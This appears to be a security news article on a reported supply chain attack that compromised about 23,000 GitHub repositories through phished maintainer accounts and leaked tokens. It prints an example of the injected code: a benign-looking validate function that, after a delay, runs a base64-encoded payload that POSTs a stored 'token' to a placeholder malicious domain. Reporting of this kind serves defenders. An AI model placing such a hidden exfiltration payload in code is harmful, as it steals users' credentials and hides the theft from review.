Cyber Security News

23,000 GitHub Repositories Targeted In Supply Chain Attack

In a massive security breach discovered this week, approximately 23,000 GitHub repositories have been compromised in what security experts are calling one of the largest supply chain attacks to date.

The attackers exploited vulnerabilities in the software development pipeline to potentially distribute malicious code to thousands of downstream applications and services.

GitHub, a platform hosting over 200 million repositories and used by more than 100 million developers worldwide, confirmed the attack after several popular open-source projects reported unauthorized commits to their codebases.

These repositories collectively serve as dependencies for millions of applications, amplifying the potential impact of this security incident.

StepSecurity Security researchers identified the attack pattern after noticing suspicious commit activities across multiple unrelated repositories.

The attack primarily targeted repositories with high download counts and those used as dependencies in enterprise applications, revealing a calculated strategy to maximize impact.

Technical analysis revealed the attackers used a sophisticated approach to compromise maintainer accounts through a combination of phishing attacks and exploiting token leaks.

Once gaining access, they injected malicious code snippets designed to be difficult to detect during routine code reviews.

The injected code typically contained obfuscated payloads similar to the example below:-

function validate(input) {
  // Legitimate-looking function
  let result = checkFormat(input);

  // Malicious payload hidden within normal code
  setTimeout(() => {
    new Function(atob("ZmV0Y2goJ2h0dHBzOi8vbWFsaWNpb3VzLWRvbWFpbi5jb20vYycsIHttZXRob2Q6ICdQT1NUJywgYm9keTogSlNPTi5zdHJpbmdpZnkoe2Q6IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpfSl9KTs="))();
  }, 10000);

  return result;
}
Malicious commit (Source – StepSecurity)

Mitigation Efforts

Project maintainers are advised to audit recent commits, especially those modifying package configuration files or dependency declarations.

GitHub has temporarily restricted access to the affected repositories while working with maintainers to revert malicious changes and implement additional security measures.

Security experts recommend users check their dependencies urgently and update to verified versions.

Organizations should review their software supply chain security practices and implement automated scanning tools to detect potential compromises before they impact production systems.

Workflow (Source – StepSecurity)

The attack shows the growing importance of securing the software supply chain, as a single compromised dependency can affect thousands of downstream applications and expose sensitive data across numerous organizations.

Are you from SOC/DFIR Teams? – Analyse Malware Incidents & get live Access with ANY.RUN -> Start Now for Free.

Tushar Subhra Dutta

Tushar is a senior cybersecurity and breach reporter. He specializes in covering cybersecurity news, trends, and emerging threats, data breaches, and malware attacks. With years of experience, he brings clarity and depth to complex security topics.

Recent Posts

China-linked APT24 Hackers New BadAudio Compromised Legitimate Public Websites to Attack Users

APT24, a sophisticated cyber espionage group linked to China's People's Republic, has launched a relentless…

1 hour ago

Broadcom Allegedly Breached by Clop Ransomware via E-Business Suite 0-Day Hack

The Cl0p ransomware group has claimed responsibility for infiltrating Broadcom's internal systems as part of…

2 hours ago

Critical Grafana Vulnerability Let Attackers Escalate Privilege

Grafana Labs has disclosed a critical security vulnerability affecting Grafana Enterprise that could allow attackers…

2 hours ago

Critical ASUSTOR Vulnerability Let Attackers Execute Malicious Code with Elevated Privileges

A critical security vulnerability has been discovered in ASUSTOR backup and synchronization software, allowing attackers…

3 hours ago

Windows 11 to Hide BSOD Crash Errors on Public Displays

Microsoft has introduced a practical new feature in Windows 11 designed specifically for public-facing monitors…

4 hours ago

SonicOS SSLVPN Vulnerability Let Attackers Crash the Firewall Remotely

SonicWall has disclosed a critical stack-based buffer overflow vulnerability in its SonicOS SSLVPN service. That…

6 hours ago